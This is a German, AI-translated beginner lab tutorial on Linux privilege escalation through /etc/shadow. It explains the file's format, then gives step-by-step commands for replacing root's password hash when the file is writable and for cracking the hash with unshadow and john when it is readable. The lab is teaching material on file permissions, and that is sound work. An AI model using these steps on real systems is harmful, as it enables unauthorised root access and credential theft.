Erhöhung von Privilegien mit der /etc/shadow-Datei in Linux

Beginner

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

Linux-Systeme verlassen sich für die Benutzerauthentifizierung und Zugangskontrolle auf die Dateien /etc/passwd und /etc/shadow. Wenn Systemadministratoren die Berechtigungen oder den Inhalt dieser Dateien fehlerhaft konfigurieren, kann dies Chancen für Privilegierweiterungsangriffe schaffen. In diesem Lab (Übung) lernen Sie, wie Sie die Datei /etc/shadow nutzen können, um Root-Privilegien auf einem Linux-System zu erlangen. Dieses Szenario setzt voraus, dass Sie bereits einen ersten Shell-Zugang mit geringen Rechten als normaler Benutzer erhalten haben.


Skills Graph

Das /etc/shadow-File verstehen

In diesem Schritt lernen Sie die Struktur und den Zweck der Datei /etc/shadow kennen.

Die Datei /etc/shadow speichert verschlüsselte Passwörter und passwortbezogene Konfigurationsinformationen für jedes Benutzerkonto. Jede Zeile in der Datei repräsentiert einen Benutzer und enthält 9 durch Doppelpunkte getrennte Felder:

  1. Benutzername
  2. Verschlüsselter Passwort-Hash
  3. Anzahl der Tage seit dem Unix-Epoch (1970-01-01), seitdem das Passwort zuletzt geändert wurde
  4. Mindestanzahl der Tage, die zwischen Passwortänderungen vergehen müssen
  5. Maximale Anzahl der Tage, für die das Passwort gültig ist
  6. Anzahl der Tage vor Passwortablauf, um den Benutzer zu warnen
  7. Anzahl der Tage nach Passwortablauf, bevor das Konto deaktiviert wird
  8. Anzahl der Tage seit dem Unix-Epoch (1970-01-01), an dem das Konto deaktiviert wird
  9. Ein reserviertes Feld für zukünftige Verwendung

Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project.

cd /home/labex/project

Lassen Sie uns den Eintrag des Benutzers labex in der Datei /etc/shadow überprüfen:

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

Beachten Sie, dass wir sudo verwendet haben, um die Datei /etc/shadow zu lesen. Dies liegt daran, dass die Datei nur vom Root-Benutzer gelesen werden kann.

Überprüfen Sie den Inhalt der Datei labex_shadow.txt:

cat labex_shadow.txt

Beispielausgabe:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

Diese Zeile zeigt:

  • Benutzername: labex
  • Verschlüsselter Passwort-Hash: $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • Letzte Passwortänderung: 19818 Tage seit dem Unix-Epoch (1970-01-01)
  • Mindestalter des Passworts: 0 Tage (keine Beschränkung)
  • Maximales Alter des Passworts: 99999 Tage (kein Ablauf)
  • Passwort-Warnzeitraum: 7 Tage vor Ablauf
  • Das Konto läuft nie ab

Standardmäßig kann nur der Root-Benutzer die Datei /etc/shadow lesen und ändern. Allerdings können fehlerhaft konfigurierte (misconfigured) Berechtigungen manchmal Chancen für eine Privilegierweiterung bieten.

Privilegien durch Schreibzugriff auf /etc/shadow erhöhen

In diesem Schritt lernen Sie, wie Sie Ihre Privilegien erhöhen können, indem Sie das Root-Passwort in der Datei /etc/shadow ändern, wenn Sie Schreibzugriff darauf haben.

  1. Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project:

    cd /home/labex/project

    Sie finden in diesem Verzeichnis ein Skript namens env_setup_1.sh. Führen Sie dieses Skript aus, um die Umgebung einzurichten:

    ./env_setup_1.sh

    Dadurch wird die Umgebung eingerichtet und Sie werden zum Benutzer user001 gewechselt, was einen anfänglichen Shell-Zugang mit geringen Rechten simuliert.

    Navigieren Sie in das Home-Verzeichnis von user001:

    cd ~
  2. Prüfen Sie als Nächstes die Berechtigungen der Datei /etc/shadow:

    ls -alh /etc/shadow

    Beispielausgabe:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    Sie sollten feststellen, dass der Benutzer user001 aufgrund einer fehlerhaften Konfiguration (misconfiguration) Schreibzugriff auf die Datei /etc/shadow hat.

  3. Jetzt können Sie die Datei /etc/shadow bearbeiten und den Passwort-Hash des Root-Benutzers durch einen neuen ersetzen.

    Zeigen Sie zunächst den aktuellen Passwort-Hash des Root-Benutzers an:

    cat /etc/shadow | grep root

    Beispielausgabe:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Um ein neues Passwort (z.B. pass123) festzulegen, generieren Sie einen neuen Passwort-Hash mit dem openssl-Tool:

    openssl passwd -1 -salt ignite pass123

    Beispielausgabe:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. Öffnen Sie die Datei /etc/shadow in einem Texteditor und ersetzen Sie den Passwort-Hash des Root-Benutzers durch den neuen.

    nano /etc/shadow

    Suchen Sie den Passwort-Hash des Root-Benutzers:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Ersetzen Sie den Passwort-Hash durch den neuen:

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    Speichern Sie die Änderungen und verlassen Sie den Editor.

  5. Verwenden Sie schließlich den Befehl su root, um zum Root-Benutzer zu wechseln, und geben Sie bei entsprechender Aufforderung das neue Passwort pass123 ein.

    su root

Sie sollten nun Root-Privilegien auf dem System haben.

Privilegien durch Lesezugriff auf /etc/shadow erhöhen

In diesem Schritt lernen Sie, wie Sie Ihre Privilegien erhöhen können, indem Sie den Passwort-Hash des Root-Benutzers knacken, wenn Sie nur Lesezugriff auf die Datei /etc/shadow haben.

Nach dem letzten Schritt sollten Sie als Root-Benutzer angemeldet sein. Sie können ein neues Terminal öffnen oder den Befehl exit verwenden, um sich aus dem aktuellen Benutzerkonto abzumelden, bis Sie wieder als Benutzer labex angemeldet sind.

  1. Wenn Sie als Benutzer labex angemeldet sind, navigieren Sie in das Verzeichnis /home/labex/project:

    cd /home/labex/project

    Führen Sie das Skript env_setup_2.sh aus, um die Umgebung einzurichten:

    ./env_setup_2.sh

    Dadurch wird eine neue Umgebung eingerichtet, in der der Benutzer user001 Lesezugriff auf die Datei /etc/shadow hat.

    Navigieren Sie in das Home-Verzeichnis von user001:

    cd ~
  2. Überprüfen Sie die Berechtigungen der Datei /etc/shadow:

    ls -alh /etc/shadow

    Beispielausgabe:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    Sie sollten feststellen, dass der Benutzer user001 aufgrund einer fehlerhaften Konfiguration (misconfiguration) Lesezugriff auf die Datei /etc/shadow hat.

  3. Als Nächstes können wir das Tool john verwenden, um den Passwort-Hash des Root-Benutzers zu knacken. Bevor Sie john verwenden, müssen Sie die Inhalte der Dateien /etc/passwd und /etc/shadow mit dem Befehl unshadow kombinieren:

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. Führen Sie jetzt john auf der Datei shadow_crack.txt aus, um den Passwort-Hash des Root-Benutzers zu knacken, und speichern Sie die geknackten Passwörter in einer Datei:

    john --users=root shadow_crack.txt > cracked_passwords.txt

    Überprüfen Sie den Inhalt der Datei cracked_passwords.txt, um das geknackte Passwort anzuzeigen:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. Verwenden Sie schließlich den Befehl su root, um zum Root-Benutzer zu wechseln, und geben Sie bei entsprechender Aufforderung das geknackte Passwort study ein:

    su root

Sie sollten nun Root-Privilegien auf dem System haben.

Zusammenfassung

In diesem Lab (Übung) haben Sie die Struktur und den Zweck der Datei /etc/shadow kennengelernt, sowie zwei Methoden, wie Sie diese Datei nutzen können, um Ihre Privilegien zu erhöhen: Entweder indem Sie mit Schreibzugriff den Passwort-Hash des Root-Benutzers ändern oder indem Sie mit Lesezugriff den Passwort-Hash des Root-Benutzers knacken. Diese Techniken zeigen die Wichtigkeit einer korrekten Konfiguration von Dateiberechtigungen und des Schutzes sensibler Systemdateien in einer Linux-Umgebung.